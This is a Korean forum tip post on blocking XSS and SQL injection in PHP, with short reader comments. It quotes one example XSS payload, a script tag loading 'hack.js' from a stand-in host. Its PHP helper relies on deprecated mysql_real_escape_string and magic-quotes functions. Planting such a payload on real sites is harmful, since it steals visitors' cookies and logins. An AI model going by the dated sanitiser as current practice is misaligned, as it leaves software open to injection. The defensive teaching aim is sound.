우주용사

HTML Injection 막기

· 2021-01-28 (목) 10:40:30 · 6338 · 6

XSS는 사용자의 입력으로 HTML이나 흔하게는 자바스크립트 코드를 허용했을 때 발생합니다.

 

XSS는 주로 댓글 입력폼에서 가장 흔하게 발생합니다.

 

가장 자주 발생하는 형태는 악의적인 사용자가 웹 사이트의 사용자로부터

 

계정의 이름과 암호 쿠키를 훔치기 위한 코드를 작성하려고 시도하는 것 입니다.

 

더욱 더 나쁜 것은 다른 사용자의 컴퓨터에 트로이 바이러스를 다운로드하는 공격에 착수할 수 있다는 것 입니다.

 

크로스 사이트 스크립트를 막으려면 모든 HTML 마크업 코드를 제거하고 문자를 출력하는 형태로 교체해야 합니다.

 

<script src='http://x.com/hack.js'> </script> <script> hack(); </script>

 

만약 해커가 다음과 같은 코드를 작성했다고 했을 때 

 

htmlentities로 전달되면 자바스크립트를 실행하는 기호가 < > 로 해석되어  자바스크립트가 실행되지 않습니다.

 

따라서 SQL과 XSS 인젝션을 모두 처리 할 수 있는 함수는 다음과 같습니다. 

 

<?php
function mysql_entities_fix_string($string)
{
    return htmlentities(mysql_fix_string($string));
}    

function mysql_fix_string($string)
{
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return mysql_real_escape_string($string);
}
?>

 

참고서적 : Learning PHP, MySQL , JavaScript & CSS

|

댓글 6개

2021-01-28 (목) 13:46:14
감사합니다~
와 좋은 팁입니다. 정말 감사합니다.
안녕하세요. 유용한 소스 같은데...어떻게 활용하는지도 알려주실 수 있을까요?
감사합니다.
2021-03-18 (목) 12:56:32
감사합니다
감사합니다
ㄱㅁ
댓글을 작성하시려면 로그인이 필요합니다.

그누보드5 팁자료실

2,788건
+
제목 글쓴이 날짜 조회
21-04-01 조회 6,023
21-03-27 조회 6,703
21-03-16 조회 5,888
21-03-16 조회 6,617
21-03-15 조회 7,889
21-03-10 조회 4,760
21-03-09 조회 7,305
21-03-09 조회 8,165
21-03-08 조회 5,769
21-03-08 조회 8,592
21-03-07 조회 5,081
21-03-05 조회 5,732
21-03-04 조회 7,816
21-02-26 조회 5,798
21-02-24 조회 4,976
21-02-20 조회 8,307
21-02-16 조회 7,308
21-02-16 조회 5,321
21-02-14 조회 1.5만
21-02-11 조회 6,788
21-02-03 조회 5,413
21-02-01 조회 5,581
21-01-31 조회 7,475
21-01-30 조회 4,974
21-01-29 조회 6,314
21-01-29 조회 5,883
21-01-28 조회 6,339
21-01-28 조회 8,718
21-01-26 조회 4,758
21-01-26 조회 6,771